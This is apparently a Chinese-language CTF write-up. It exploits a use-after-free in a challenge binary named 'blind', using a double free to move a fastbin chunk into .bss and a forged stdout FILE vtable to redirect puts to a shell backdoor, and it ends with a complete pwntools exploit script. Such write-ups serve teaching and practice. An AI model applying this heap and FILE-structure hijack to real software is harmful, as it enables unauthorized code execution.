0x00 程序分析 Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序存在UAF漏洞,有一个获得shell的后门函数,关键是如何劫持程序流程到这个后门函数
因为程序开启了Full RELRO,所以不能通过修改got表劫持程序流 一个思路是攻击stdout的文件流,进行攻击
0x01 利用分析 1 通过Double free实现在指定地址分配chunk 程序存在UAF漏洞,所以可以利用Double free实现将一个chunk既在fastbin中,也在被使用中,这样我们就可以修改fastbin chunk的fd指针,将fastchunk分配到.bss段上,修改stdout指针
2 攻击stdout文件流 函数setvbuf()用来设定文件流的缓冲区,原型是 int setvbuf(FILE stream, char buf, int type, unsigned size); stream为文件流指针,buf为缓冲区首地址,type为缓冲区类型,size为缓冲区内字节的数量。
程序有类似这样的函数setvbuf(stdout, 0LL, 2, 0LL);
意思就是将标准输出不设置缓冲区,还会将stdout的文件流指针写在.bss段上,该指针指向_IO_FILE_plus结构体
程序调用puts等输出函数时会调用stdout文件流的虚表函数中的<_IO_new_file_xsputn>
函数,所以当我们修改了<_IO_new_file_xsputn>
函数为后门函数的地址,那么当程序调用puts等函数时,就会执行后门函数。
需要确定下伪造的_IO_FILE_plus结构体的内容
puts函数的原型是 _IO_puts
1 2 3 4 5 6 7 8 9 10 11 12 13 _IO_puts (const char *str) { int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout ); if ((_IO_vtable_offset (stdout ) != 0 || _IO_fwide (stdout , -1 ) == -1 ) && _IO_sputn (stdout , str, len) == len && _IO_putc_unlocked ('\n' , stdout ) != EOF) result = MIN (INT_MAX, len + 1 ); _IO_release_lock (stdout ); return result; }
可以看到程序会调用_IO_sputn
函数
1 #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_sputn
函数进而调用 _IO_XSPUTN
函数
1 #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
_IO_XSPUTN
函数接着调用JUMP2函数,去执行虚表函数__xsputn
我们回来看 _IO_puts
这个函数,函数开始有一个函数 _IO_acquire_lock (stdout);
,我们跟进这个函数
1 2 3 4 5 6 # define _IO_acquire_lock(_fp) \ do { \ FILE *_IO_acquire_lock_file \ __attribute__((cleanup (_IO_acquire_lock_fct))) \ = (_fp); \ _IO_flockfile (_IO_acquire_lock_file);
发现又调用了 _IO_acquire_lock_fct
,接着跟进
1 2 3 4 5 6 7 __attribute__ ((__always_inline__)) _IO_acquire_lock_fct (FILE **p) { FILE *fp = *p; if ((fp->_flags & _IO_USER_LOCK) == 0 ) _IO_funlockfile (fp); }
发现 fp->_flags & _IO_USER_LOCK
这里_IO_USER_LOCK宏定义的值是0x8000, _flag
值的高2字节为magic,暂时不用管,只需要后两个字节与0x8000不是0就行,那么我们可以设后两个字节为0x8000,最终构造的_flag
值为 0xfbad8000
在 _IO_puts
函数中,观察 _IO_sputn
上的 _IO_fwide
函数,跟进去发现_mode要等于0
文件流构造要求总结如下
_flag = 0xfbad8000
_mode = 0
table = 0x602200
0x02 EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level='debug' p = process('./blind' ) elf = ELF('./blind' ) def q () : gdb.attach(p) raw_input('test' ) def add (idx,content) : p.recvuntil('Choice:' ) p.sendline(str(1 )) p.recvuntil('Index:' ) p.sendline(str(idx)) p.recvuntil('Content:' ) p.sendline(content) def edit (idx,content) : p.recvuntil('Choice:' ) p.sendline(str(2 )) p.recvuntil('Index:' ) p.sendline(str(idx)) p.recvuntil('Content:' ) p.sendline(content) def delete (idx) : p.recvuntil('Choice:' ) p.sendline(str(3 )) p.recvuntil('Index:' ) p.sendline(str(idx)) add(0 ,'aa' ) delete(0 ) edit(0 ,p64(0x60203d )) add(1 ,'bb' ) add(2 ,'cc' ) edit(2 ,'\x00' *0x13 +p64(0x602100 )) edit(0 ,p64(0xfbad8000 )) edit(2 ,'\x00' *0x13 +p64(0x6021c0 )) edit(0 ,p64(0 )) edit(2 ,'\x00' *0x13 +p64(0x6021d8 )) edit(0 ,p64(0x602200 )) edit(2 ,'\x00' *0x13 +p64(0x602200 +7 *8 )) edit(0 ,p64(0x4008e3 )) edit(2 ,'\x00' *0x13 +p64(0x602020 )) edit(0 ,p64(0x602100 )) p.interactive()